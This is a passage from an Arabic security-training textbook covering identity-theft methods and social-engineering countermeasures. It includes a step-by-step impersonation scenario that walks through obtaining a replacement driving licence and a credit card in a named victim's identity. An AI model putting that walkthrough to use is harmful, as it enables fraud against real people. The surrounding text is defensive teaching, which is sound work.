‫اﻟﺷوارع أو ﻓﻲ اﻟﻣﻧﺎطﻖ اﻷﺧرى اﻟﻣزدﺣﻣﺔ‪.‬‬
‫اﻟﻘرﺻﻧﺔ‬
‫اﻟﻣﮭﺎﺟﻣﯾن ﯾﻘوﻣون ﺑﺧرق أﻧظﻣﺔ اﻟﻣﺳﺗﺧدم وﻣﻌﻠوﻣﺎت اﻟﺗوﺟﯾﮫ ﺑﺎﺳﺗﺧدام أﺟﮭزة ﺗﻧﺻت ﻣﺛل ‪ sniffing‬واﻟﻣﺎﺳﺣﺎت اﻟﺿوﺋﯾﺔ‪ .‬اﻟﻣﮭﺎﺟﻣون‬
‫ﯾﺻﻠون إﻟﻰ وﻓرة ﻣن اﻟﺑﯾﺎﻧﺎت‪ ،‬ﻓك اﻟﺗﺷﻔﯾر )إذا ﻟزم اﻷﻣر(‪ ،‬واﺳﺗﺧداﻣﮭﺎ ﻟﺳرﻗﺔ اﻟﮭوﯾﺔ‪.‬‬
‫ﺳرﻗﺔ اﻟﺑرﯾد وﺗﺣوﯾل اﻟﻣﺳﺎر‬
‫ﺻﻧﺎدﯾﻖ اﻟﺑرﯾد ﻟﯾﺳت ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ذات ﺣﻣﺎﯾﺔ وﺗﺣﺗوي ﻋﻠﻰ وﺛﺎﺋﻖ اﻟﺑﻧك )ﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن أو ﺑﯾﺎﻧﺎت اﻟﺣﺳﺎب(‪ ،‬اﻟﻧﻣﺎذج اﻹدارﯾﺔ‪،‬‬
‫وأﻛﺛر‪ .‬اﻟﻣﺟرﻣﯾن ﻗد ﯾﺳﺗﺧدﻣوا ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﻠﺣﺻول ﻋﻠﻰ ﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن أو ﺗﺣوﯾل ﻣﺳﺎر اﻟﺑرﯾد إﻟﻰ ﻋﻧوان ﺟدﯾد‪.‬‬
‫‪Shoulder Surfing‬‬
‫اﻟﻣﺟرﻣﯾن ﻗد ﯾﺟدوا ﻣﻌﻠوﻣﺎت اﻟﻣﺳﺗﺧدم ﻣن ﺧﻼل ﻧظرة ﻋﺎﺑرة ﻋﻠﻰ اﻟوﺛﺎﺋﻖ‪ ،‬أرﻗﺎم اﻟﺗﻌرﯾف اﻟﺷﺧﺻﯾﺔ )‪ (Ple‬ﺗﻛون ﻣطﺑوﻋﺔ ﻋﻠﻰ ﻛﺎرت آﻟﺔ‬
‫اﻟﺻراف اﻵﻟﻲ)‪ ، (ATM‬أو ﻣن ﺧﻼل ﺳﻣﻊ اﻷﺣﺎدﯾث‪.‬‬
‫‪Skimming‬‬
‫‪ Skimming‬ﯾﺷﯾر إﻟﻰ ﺳرﻗﺔ أرﻗﺎم ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن ﺑﺎﺳﺗﺧدام ﺟﮭﺎز ﺗﺧزﯾن ﺧﺎص ﻋﻧد ﻣﻌﺎﻟﺟﺔ اﻟﺑطﺎﻗﺔ‪.‬‬
‫اﻟذرﯾﻌﺔ )‪(Pretexting‬‬
‫ﯾﻣﻛن أن ﯾﺳﺗﺧدم اﻟﻣﺣﺗﺎﻟﯾن ذرﯾﻌﺔ اﻟﻣدﯾرﯾن اﻟﺗﻧﻔﯾذﯾﯾن ﻣن اﻟﻣؤﺳﺳﺎت اﻟﻣﺎﻟﯾﺔ‪ ،‬ﺷرﻛﺎت اﻟﮭﺎﺗف‪ ،‬وﻣﺻﺎدر أﺧرى ﻟﻠﺣﺻول ﻋﻠﻰ ﻣﻌﻠوﻣﺎت‬
‫اﻟﺷﺧﺻﯾﺔ ﻣن اﻟﻣﺳﺗﺧدم‪.‬‬

‫طرق اﻻﻧﺗرﻧت‬
‫ﻓﯾﻣﺎ ﯾﻠﻲ طرق اﻹﻧﺗرﻧت ﻟﺳرﻗﺔ اﻟﮭوﯾﺔ‪.‬‬
‫ﺗزوﯾر اﻟﻌﻧﺎوﯾن )‪(Pharming‬‬
‫ﺗزوﯾر اﻟﻌﻧﺎوﯾن )‪ (Pharming‬ھو ﺷﻛل ﻣﺗﻘدم ﻣن ‪ phishing‬واﻟذي ﯾﺗم ﻓﯾﮫ إﻋﺎدة ﺗوﺟﯾﮫ اﻻﺗﺻﺎل ﺑﯾن ﻋﻧوان ‪ IP‬واﻟﺧﺎدم اﻟﻣﺳﺗﮭدف‪.‬‬
‫اﻟﻣﮭﺎﺟم ﻗد ﯾﺳﺗﺧدم ‪) cache poisoning‬ﻟﺗﻌدﯾل ﻋﻧوان اﻹﻧﺗرﻧت ﻣﻊ اﻟﻌﻧوان اﻟﻣﺎرﻗﺔ )‪ ((rogue address‬ﻟﻠﻘﯾﺎم ﺑذﻟك‪ .‬ﻋﻧدﻣﺎ ﯾﻛﺗب‬
‫اﻟﻣﺳﺗﺧدم ﻋﻧوان إﻧﺗرﻧت‪ ،‬ﻓﺎﻧﮫ ﯾﻘوم ﺑﺈﻋﺎدة اﻟﺗوﺟﯾﮫ إﻟﻰ اﻟﻣوﻗﻊ ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت اﻟﻣﺎرﻗﺔ اﻟﻣﺷﺎﺑﮫ ﻟﻠﻣوﻗﻊ اﻷﺻﻠﻲ‪.‬‬
‫ﻛﯾﻠوﻏرز وﺳﺎرﻗوا ﻛﻠﻣﺔ اﻟﻣرور )‪(Keyloggers and Password Stealers‬‬
‫اﻟﻣﮭﺎﺟم ﻗد ﯾﺻﯾب ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺧﺎص ﺑﺎﻟﻣﺳﺗﺧدم ﻣﻊ ﺣﺻﺎن طروادة ﺛم ﺟﻣﻊ ﺿرﺑﺎت اﻟﻣﻔﺎﺗﯾﺢ ﻟﺳرﻗﺔ ﻛﻠﻣﺎت اﻟﺳر وأﺳﻣﺎء اﻟﻣﺳﺗﺧدﻣﯾن‪،‬‬
‫وﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ‪ .‬اﻟﻣﺟرﻣﯾن ﻗد ﯾﺳﺗﺧدﻣوا أﯾﺿﺎ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻹرﺳﺎل اﺳﺗﻣﺎرات وھﻣﯾﺔ ﻣﺛل داﺋرة اﻹﯾرادات‬
‫اﻟداﺧﻠﯾﺔ )‪ (IRS‬واﺳﺗﻣﺎرات ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﺿﺣﺎﯾﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪987‬‬

‫اﻟﺧطوة اﻷوﻟﻰ‪:‬‬
‫اﻟﻣﮭﺎﺟﻣﯾن ﯾﻣﻛﻧﮭم اﻟوﺻول إﻟﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻟﻠﮭدف ﻣن ﺧﻼل اﻟﺑﺣث ﻓﻲ ﺟوﺟل ﻗﻠﯾﻼ‪ ،‬ﺑﺎﺳﺗﺧدام أﻧظﻣﺔ اﺳﺗﻌﺎدة ﻛﻠﻣﺔ اﻟﺳر‪ ،‬وﺗﺣدﯾد‬
‫ﻣﻛﺎن ﻓواﺗﯾر اﻟﮭﺎﺗف وﻓواﺗﯾر اﻟﻣﯾﺎه‪ ،‬أو ﻓواﺗﯾر اﻟﻛﮭرﺑﺎء ﺑﺎﺳﺗﺧدام ﺻﻧدوق اﻟﻘﻣﺎﻣﺔ وﺳرﻗﺔ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬أو ﺳرﻗﺗﮭﺎ ﻓﻲ اﻟﻣوﻗﻊ‪ .‬ھذه ھﻲ‬
‫اﻟﻣوارد اﻟﻣﺷﺗرﻛﺔ اﻟﺗﻲ ﯾﻣﻛن ﻟﻠﻣﮭﺎﺟم ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ وﺧﻠﻖ اﻟﺗﻌرﯾف اﻟﺷﺧص ‪ ID‬اﻟﻣزﯾف اﻟﺧﺎﺻﺔ ﺑﮫ ﺑﺎﺳﺗﺧدام ﻋﻧﺎوﯾن اﻷﺻﻠﻲ‬
‫ﻟﻠﮭدف‪.‬‬

‫اﻟﺧطوة اﻟﺛﺎﻧﯾﺔ‪:‬‬
‫ﺳرﻗﺔ اﻟﮭوﯾﺔ ﯾﻣﻛن أن ﯾﻛون ﻣﻣﻛﻧﺎ ﻣن ﻗﺑل اﻟﻌدﯾد ﻣن اﻟطرق اﻟﻔﯾزﯾﺎﺋﯾﺔ ﻣﺛل ﺳرﻗﺔ رﺧﺻﺔ اﻟﻘﯾﺎدة واﺳﺗﺧداﻣﮫ ﻟﻠﺣﺻول ﻋﻠﻰ ﺗرﺧﯾص ﺟدﯾد‬
‫ﺑﺎﺳﺗﺧدام اﻟﺗﻔﺎﺻﯾل اﻟﺷﺧﺻﯾﺔ ﻟﮭوﯾﺔ اﻟﮭدف وﺗﺳﺟﯾل اﻟﻣرﻛﺑﺎت‪.‬‬
‫‪ -‬اذھب إﻟﻰ إدارة اﻟﺳﯾﺎرات وﻧﻘول ﻟﮭم إﻧك ﻗد ﻓﻘدت رﺧﺻﺔ اﻟﻘﯾﺎدة اﻟﺧﺎﺻﺔ ﺑك‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪988‬‬

‫ﺳوف ﯾطﻠب ﻣﻧﻛم إﺛﺑﺎت اﻟﮭوﯾﺔ‪ ،‬ﻣﺛل ﻓﺎﺗورة اﻟﻣﺎء وﻓﺎﺗورة اﻟﻛﮭرﺑﺎء‪.‬‬ ‫‪-‬‬
‫ﺗﺑﯾن ﻟﮭم اﻟﻔواﺗﯾر اﻟﻣﺳروﻗﺔ‪.‬‬ ‫‪-‬‬
‫ﻧﻘول ﻟﮭم ﻛﻧت ﻗد اﻧﺗﻘﻠت ﻣن اﻟﻌﻧوان اﻷﺻﻠﻲ‪.‬‬ ‫‪-‬‬
‫ﺳوف ﯾطﻠب ﻣﻧك ﻣوظف اﻟﻘﺳم ﻻﺳﺗﻛﻣﺎل ﺷﻛﻠﯾن‪ :‬أﺣدھﻣﺎ ﻻﺳﺗﺑدال رﺧﺻﺔ اﻟﻘﯾﺎدة واﻟﺛﺎﻧﯾﺔ ﻟﺗﻐﯾﯾر اﻟﻌﻧوان‪.‬‬ ‫‪-‬‬
‫ﺳوف ﺗﺣﺗﺎج اﻟﻰ ﺻور ﻟرﺧﺻﺔ اﻟﻘﯾﺎدة‬ ‫‪-‬‬
‫ﺳﺗﺻدر اﺳﺗﺑدال رﺧﺻﺔ اﻟﻘﯾﺎدة اﻟﺧﺎﺻﺔ ﺑك إﻟﻰ ﻋﻧوان ﻣﻧزﻟك اﻟﺟدﯾد‪.‬‬ ‫‪-‬‬

‫اﻟﺧطوة اﻟﺛﺎﻟﺛﺔ‪:‬‬
‫‪ -‬اﻟذھﺎب إﻟﻰ اﻟﺑﻧك واﻟذي ﻓﯾﮫ ﯾﻣﻠك ﺳﺗﯾﻔن ﺗﺷﺎرﻟز اﻷﺻﻠﻲ ﺣﺳﺎب وﻧﻘول ﻟﮭم إﻧك ﺗرﻏب ﻓﻲ اﻟﺗﻘدم ﻟﻠﺣﺻول ﻋﻠﻰ ﺑطﺎﻗﺔ اﺋﺗﻣﺎن ﺟدﯾدة‬
‫ﺗﻘول ﻟﮭم إﻧك ﻻ ﺗذﻛر رﻗم اﻟﺣﺳﺎب وﺗطﻠب ﻣﻧﮭم اﻟﺑﺣث ﻋﻧﮫ ﺑﺎﺳﺗﺧدام اﺳم ﺳﺗﯾﻔن وﻋﻧواﻧﮫ‬
‫‪ -‬ﺳﯾطﻠب ﻣن اﻟﺑﻧك إﺛﺑﺎت ھوﯾﮫ‪ :‬ﺗﺑﯾن ﻟﮭم رﺧﺻﺔ اﻟﻘﯾﺎدة اﻟﺧﺎﺻﺔ ﺑك واﻟﮭوﯾﺔ‪ ،‬وإذا ﻗﺑﻠت‪ ، ID‬ﺳﺗﺻدر ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن اﻟﺧﺎﺻﺔ ﺑك‬
‫وﺗﻛون ﺟﺎھزة ﻟﻼﺳﺗﺧدام‬
‫‪ -‬اﻵن أﻧت ﻋﻠﻰ اﺳﺗﻌداد ﻟﻠﺗﺳوق‬
‫ﺑﯾﺎﻧﺎت ھوﯾﺔ ﺳﺗﯾﻔن اﻟوھﻣﯾﺔ ﻋﻠﻰ اﺳﺗﻌداد اﻟﻰ‪:‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪989‬‬

‫ﺟﻌل ﻋﻣﻠﯾﺎت اﻟﺷراء ﺑﺎﻵﻻف‪.‬‬ ‫‪-‬‬

‫اﻟﺣﺻول ﻋﻠﻰ ﻗرض ﻟﻠﺳﯾﺎرة‪.‬‬ ‫‪-‬‬
‫اﻟﺗﻘدم ﺑطﻠب ﻟﻠﺣﺻول ﻋﻠﻰ ﺟواز ﺳﻔر ﺟدﯾد‪.‬‬ ‫‪-‬‬
‫اﻟﺗﻘدم ﻟﻠﺣﺻول ﻋﻠﻰ ﺣﺳﺎب ﻣﺻرﻓﻲ ﺟدﯾد‪.‬‬ ‫‪-‬‬
‫إﯾﻘﺎف ﺧدﻣﺎت اﻟﻣراﻓﻖ اﻟﺧﺎﺻﺔ ﺑك‪.‬‬ ‫‪-‬‬

‫ﺳﺗﯾﻔن اﻟﺣﻘﯾﻘﻲ ﯾﺣﺻل ﻋﻠﻰ ﺑﯾﺎن ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن ﺿﺧﻣﮫ‬

‫ﻋﻧدﻣﺎ ﺗﺧﺳر ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن اﻟﺧﺎﺻﺔ ﺑك‪ ،‬ﻓﺈن أول ﺷﻲء ﻋﻠﯾك اﻟﻘﯾﺎم ﺑﮫ ھو ﺗﻘدﯾم ﺷﻛوى إﻟﻰ اﻟﺧدﻣﺎت اﻟﻣﺻرﻓﯾﺔ اﻟﺗﻲ ﺗﺳﺗﺧدﻣﮭﺎ ﻓﻲ‬
‫أﻗرب وﻗت إﻧك ﻗد ﻓﻘدت اﻟﺑطﺎﻗﺔ‪ .‬ﺗﻘدم اﻟﻌدﯾد ﻣن اﻟﺑﻧوك ﺧدﻣﺎت اﻹﻧﺗرﻧت ﻟﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن‪ ،‬ﻟذﻟك ﻗد ﺗﻛون ﻗﺎدرا ﻋﻠﻰ اﺳﺗﺧدام اﻟﻣوﻗﻊ ﻟﻠﺗﻘرﯾر‬
‫اﻟذي ﺧﺳر ﺑطﺎﻗﺔ اﻻﺋﺗﻣﺎن اﻟﺧﺎﺻﺔ ﺑك أو ﺳرﻗت‪ ،‬وﺗﺷﻣل رﻗم اﻟﺣﺳﺎب وﺗﺎرﯾﺦ اﻟﻔﻘدان أو اﻟﺳرﻗﺔ‪ ،‬اﻟﺗﺎرﯾﺦ اﻷول ﯾﺗم اﻹﺑﻼغ ﻋن اﻟﺧﺳﺎرة‪،‬‬
‫وآﺧر اﻟﻣﻌﺎﻣﻼت اﻟﻣﺳﻣوح ﻟك ﻻﺳﺗﺧدام اﻟﺑطﺎﻗﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪990‬‬

‫اﻟﻣﺷﺎﻛل اﻟﺧطﯾرة اﻟﻧﺎﺗﺟﺔ ﻣن ﺳرﻗﺔ اﻟﮭوﯾﺔ‬

‫ﺳرﻗﺔ اﻟﮭوﯾﺔ ھﻲ ﻣﺷﻛﻠﺔ ﺧطﯾرة وﻋدد ﻣن اﻻﻧﺗﮭﺎﻛﺎت ﺗﺗزاﯾد ﺑﺳرﻋﺔ‪ .‬ﻟﺗﺟﻧب ﻋواﻗﺑﮫ‪ ،‬ﺗﺣﺗﺎج إﻟﻰ اﻟﺣد ﻣن ﻣﺧﺎطر ﺳرﻗﺔ اﻟﮭوﯾﺔ‪.‬‬
‫طرق اﻟﺗﻘﻠﯾل ﻣن ﺧطر ﺳرﻗﺔ اﻟﮭوﯾﺔ ﻣﺎ ﯾﻠﻲ‪:‬‬
‫‪ -‬ﺗﺄﻣﯾن اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻓﻲ ﻣﻛﺎن اﻟﻌﻣل واﻟﻣﻧزل وﺗﺑﺣث ﻓﻲ ﺗﻘﺎرﯾر ﺑطﺎﻗﺎت اﻻﺋﺗﻣﺎن‪.‬‬
‫‪ -‬إﻧﺷﺎء ﻛﻠﻣﺎت ﻣرور ﻗوﯾﺔ وﻓرﯾدة ﻣن ﻧوﻋﮭﺎ ﻣﻊ ﻣﺟﻣوﻋﺔ ﻣن اﻷرﻗﺎم واﻟرﻣوز اﻟﺧﺎﺻﺔ‪ ،‬واﻟﺣروف اﻟﺗﻲ ﻻ ﯾﻣﻛن ﺗﺧﻣﯾﻧﮭﺎ‬
‫‪ -‬اﻟﺣﺻول ﻋﻠﻰ ﺻﻧدوق اﻟﺑرﯾد اﻟﺧﺎص ﺑك ﻣﻘﻔل أو اﺳﺗﺋﺟﺎر ﺻﻧدوق ﺑرﯾد ﻓﻲ ﻣﻛﺗب اﻟﺑرﯾد‪.‬‬
‫‪ -‬ﺗﺄﻣﯾن ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر اﻟﺷﺧﺻﻲ اﻟﺧﺎص ﺑك ﻣﻊ ﺟدار ﺣﻣﺎﯾﺔ‪ ،‬ﻣﻛﺎﻓﺣﺔ اﻟﻔﯾروﺳﺎت‪ ،‬وﻣﺿﺎدات اﻟﻛﯾﻠوﺟرز‪.‬‬
‫‪ -‬ﻻ ﺗﻘدم ﻣﻌﻠوﻣﺎﺗك اﻟﺷﺧﺻﯾﺔ ﻟﻶﺧرﯾن‪.‬‬
‫‪ -‬ﺗﺣﻘﻖ ﻣن اﻟﺣﺳﺎﺑﺎت اﻟﻣﺎﻟﯾﺔ اﻟﺧﺎﺻﺔ ﺑك واﻟﺑﯾﺎﻧﺎت اﻟﻣﺻرﻓﯾﺔ ﺑﺎﻧﺗظﺎم‪.‬‬
‫‪ -‬ﻣراﺟﻌﺔ ﺗﻘرﯾر اﻻﺋﺗﻣﺎن اﻟﺧﺎﺻﺔ ﺑك ﻋﻠﻰ اﻷﻗل ﻣرة ﻓﻲ اﻟﺳﻧﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪991‬‬

‫‪ 9.6‬اﻟﺘﺪاﺑﯿﺮ اﻟﻤﻀﺎدة )‪(Social Engineering Countermeasures‬‬

‫ﺗظﮭر ﻟك اﻟﻔﺻول اﻟﺳﺎﺑﻘﺔ ﻋن اﻷﺳﺎﻟﯾب واﻟطرق اﻟﺗﻲ ﯾﻘوم ﺑﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﺧدﻋﺔ واﺣﺗﯾﺎل اﻷھداف ﻹﻓﺷﺎء ﻣﻌﻠوﻣﺎت ﻗﯾﻣﺔ‪ .‬ﻛﻣﺎ‬
‫ﯾﺻف اﻟﻌدﯾد ﻣن اﻟﻣﺑﺎدئ اﻟﻧﻔﺳﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﺗﺄﺛﯾر واﻟﺗﻼﻋب ﺑﺎﻟﻧﺎس‪.‬‬
‫أﺣﯾﺎﻧﺎ ﺑﻌد أن أﻟﻘﻲ ﺧطﺎﺑﺎ أو ﺗدرﯾب أﻣﻧﻲ‪ ،‬ﺳوف ﯾﻧظر اﻟﻧﺎس ﺑﺟﻧون اﻟﻌظﻣﺔ ﺟدا واﻟﺧوف وﯾﻘوﻟون ﺷﯾﺋﺎ ﻣﺛل‪" :‬ﯾﺑدو أﻧﮫ ﻻ ﯾوﺟد أﻣل ﻓﻲ‬
‫اﻟﻣﺣﺎوﻟﺔ اﻷﻣﻧﯾﺔ‪ .‬ﻛﯾف أﻓﻌل ذﻟك؟"‬
‫ھذا ﺳؤال ﺟﯾد‪ .‬أﺷﺟﻊ وﺟود ﺧطﺔ ﺟﯾدة ﻟﻠﺗﻌﺎﻓﻲ ﻣن اﻟﻛوارث وﺧطﺔ اﻻﺳﺗﺟﺎﺑﺔ ﻟﻠﺣوادث ﺑﺳﺑب ھذه اﻷﯾﺎم ﯾﺑدو أﻧﮫ ﻟﯾﺳت ﻣﺳﺄﻟﺔ "إذا" ﺣﺻل‬
‫اﻻﺧﺗراق‪ ،‬وﻟﻛن "ﻣﺗﻰ‪ ".‬ﯾﻣﻛﻧك اﺗﺧﺎذ اﻻﺣﺗﯾﺎطﺎت اﻟﻼزﻣﺔ ﻟﺗﻌطﯾك ﻋﻠﻰ اﻷﻗل ﻓرﺻﺔ اﻟﻘﺗﺎل ﻓﻲ اﻷﻣن‪.‬‬
‫ﺗﺧﻔﯾف أﺛﺎر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﯾﺳت ﺳﮭﻠﺔ ﻛﻣﺎ ﯾﺿﻣﻧﮭﺎ أﻣن اﻷﺟﮭزة‪ .‬ﻣﻊ اﻷﻣن اﻟدﻓﺎﻋﻲ اﻟﺗﻘﻠﯾدي ﯾﻣﻛﻧك رﻣﻲ اﻟﻣﺎل ﻓﻲ أﻧظﻣﺔ ﻛﺷف اﻟﺗﺳﻠل‪،‬‬
‫واﻟﺟدران اﻟﻧﺎرﯾﺔ وﺑراﻣﺞ ﻣﻛﺎﻓﺣﺔ اﻟﻔﯾروﺳﺎت‪ ،‬وﻏﯾرھﺎ ﻣن اﻟﺣﻠول ﻟﻠﺣﻔﺎظ ﻋﻠﻰ اﻷﻣن اﻟﻣﺣﯾط‪ .‬ﻣﻊ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻻ ﺗوﺟد أﻧظﻣﺔ‬
‫ﺑرﻣﺟﯾﺎت اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻌﻠﻖ ﻋﻠﻰ ﻣوظﻔﯾك أو ﻟﻧﻔﺳك ﻟﻛﻲ ﺗﺑﻘﻰ آﻣﻧﺔ‪.‬‬
‫ﻓﻲ ھذا اﻟﻔﺻل ﻧﻘدم أﻋﻠﻰ ﺳت ﺧطوات اﻟﺗﻲ ﯾﻣﻛن اﺗﺧﺎذھﺎ ﻟﻣﻧﻊ وﺗﺧﻔﯾف ﻣﺣﺎوﻻت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪:‬‬
‫‪ -‬ﺗﻌﻠم ﺗﺣدﯾد ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫‪ -‬إﻧﺷﺎء ﺑرﻧﺎﻣﺞ اﻟوﻋﻲ اﻷﻣﻧﻲ اﻟﺷﺧﺻﻲ‪.‬‬
‫‪ -‬ﺧﻠﻖ اﻟوﻋﻲ ﻟﻘﯾﻣﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺟري اﻟﺑﺣث ﻋﻧﮭﺎ ﻣن ﻗﺑل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫‪ -‬اﻟﺣﻔﺎظ ﻋﻠﻰ ﺗﺣدﯾث اﻟﺑراﻣﺞ‪.‬‬
‫‪ -‬ﺗطوﯾر اﻟﺑراﻣﺞ اﻟﻧﺻﯾﺔ‪.‬‬
‫‪ -‬اﻟﺗﻌﻠم ﻣن ﺗﺣﻘﯾﻘﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫اﻟﺳت ﻧﻘﺎط ھذه ﺗﺧﺗزل إﻟﻰ ﺧﻠﻖ ﺛﻘﺎﻓﺔ اﻟوﻋﻲ اﻷﻣﻧﻲ‪ .‬اﻟوﻋﻲ اﻷﻣﻧﻲ ﻟﯾس ﻋن ﺑرﻧﺎﻣﺞ ‪ ،-60 ،-40‬أو ﻟﻣدة ‪ 90‬دﻗﯾﻘﺔ ﻣرة واﺣدة ﻛل ﻋﺎم‪ .‬ﻓﮭو‬
‫ﯾﻘﻊ ﺣول ﺧﻠﻖ ﺛﻘﺎﻓﺔ أو ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﻌﺎﯾﯾر ﻟﻛل ﺷﺧص ﯾﻠﺗزم ﺑﮭﺎ ﺑﺎﺳﺗﺧداﻣﮭﺎ ﻓﻲ ﺣﯾﺎﺗﮫ أو ﺣﯾﺎﺗﮭﺎ ﺑﺄﻛﻣﻠﮫ‪ .‬اﻧﮭﺎ ﻟﯾﺳت ﻣﺟرد ﻋﻣل أو اﻟﻣواﻗﻊ‬
‫اﻟﺗﻲ ﺗﻌﺗﺑر "ﻣﮭﻣﺔ"‪ ،‬وﻟﻛن ھذه ھﻲ طرﯾﻘﺔ ﻧﮭﺞ واﺣده‪ .‬ﯾﻐطﻲ ھذا اﻟﻔﺻل اﻟﻣذﻛورة ﺳت ﻧﻘﺎط وﻛﯾف ﯾﻣﻛن ﺧﻠﻖ ﺛﻘﺎﻓﺔ اﻟوﻋﻲ اﻷﻣﻧﻲ لﯾﻛون‬
‫أﻓﺿل دﻓﺎع ﺿد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث‪.‬‬

‫اﻟﺗﻌﻠم ﻟﺗﺣدﯾد ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Learning To Identify Social Engineering Attacks‬‬

‫اﻟﻣرﺣﻠﺔ اﻷوﻟﻰ ﻓﻲ اﻟوﻗﺎﯾﺔ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻣﻌرﻓﺔ اﻟﻣزﯾد ﻋن اﻟﮭﺟﻣﺎت‪ .‬ﻟم ﯾﻛن ﻟدﯾك ﻟﻠﻐوص ﻋﻣﯾﻖ ﺟدا ﻓﻲ ھذه اﻟﮭﺟﻣﺎت اﻟﺗﻲ‬
‫ﻛﻧت ﺗﻌرف ﻛﯾﻔﯾﺔ إﻋداد ﻣﻠﻔﺎت ‪ PDF‬ﺧﺑﯾﺛﺔ أو إﻧﺷﺎء ﺧداع ﻛﺎﻣل‪ .‬ﻟﻛن ﻓﮭم ﻣﺎ ﯾﺣدث ﻋﻧد اﻟﻧﻘر ﻓوق ‪ PDF‬ﺧﺑﯾﺛﺔ واﻟﺑﺣث ﻋن ﻋﻼﻣﺎت ﻟﺗﺣدﯾد‬
‫ﻣﺎ إذا ﻛﺎن ﺷﺧص ﻣﺎ ﯾﺣﺎول ﺧداﻋك ﯾﻣﻛﻧﮭﺎ أن ﺗﺳﺎﻋدك ﻓﻲ ﺣﻣﺎﯾﺗك‪ .‬ﺗﺣﺗﺎج إﻟﻰ ﻓﮭم اﻟﺗﮭدﯾدات وﻛﯾف ﺗﻧطﺑﻖ ﻋﻠﯾك‪.‬‬
‫إﻟﯾك ﻣﺛﺎﻻ ﻛﺗوﺿﯾﺢ‪ :‬ﻟﻘد ﻗﻣت ﺑﺗﻘﯾﯾم ﻣﻧزﻟك واﻷﺷﯾﺎء اﻟﺗﻲ ﻓﯾﮫ‪ ،‬وﻟﻛن ﺑﺧﺻوص اﻟﻧﺎس ﻓﻲ ﻣﻧزﻟك‪ .‬ﻓﺄﻧت ﻻ ﺗﻧﺗظر أن ﯾﻛون إطﻼق اﻟﻧﺎر اﻷول‬
‫اﻟﺧﺎص ﺑك ﻟﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ ﺗﺧطﯾط‪ ،‬وﻣﻧﻊ‪ ،‬واﻟﺗﺧﻔﯾف ﻣن ﺧطرھم‪ .‬ﺑدﻻ ﻣن ذﻟك ﻗﻣت ﺑﺗﺛﺑﯾت أﺟﮭزة اﻟﻛﺷف ﻋن اﻟدﺧﺎن وﺧطﺔ اﻟﺧروج ﻋن‬
‫طرﯾﻖ اﻟﮭروب ﻓﻲ ﺣﺎﻟﺔ ﻧﺷوب ﺣرﯾﻖ‪ .‬وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻗﻣت ﺑﺗدرﯾب أطﻔﺎﻟك ﻣﻊ اﻟﻌﺑﺎرات "إﯾﻘﺎف‪ ،‬إﺳﻘﺎط‪ ،‬ﻟف" إذا ﻛﺎن ھﻧﺎك ﻧﺎر‪ .‬ﻗﻣت‬
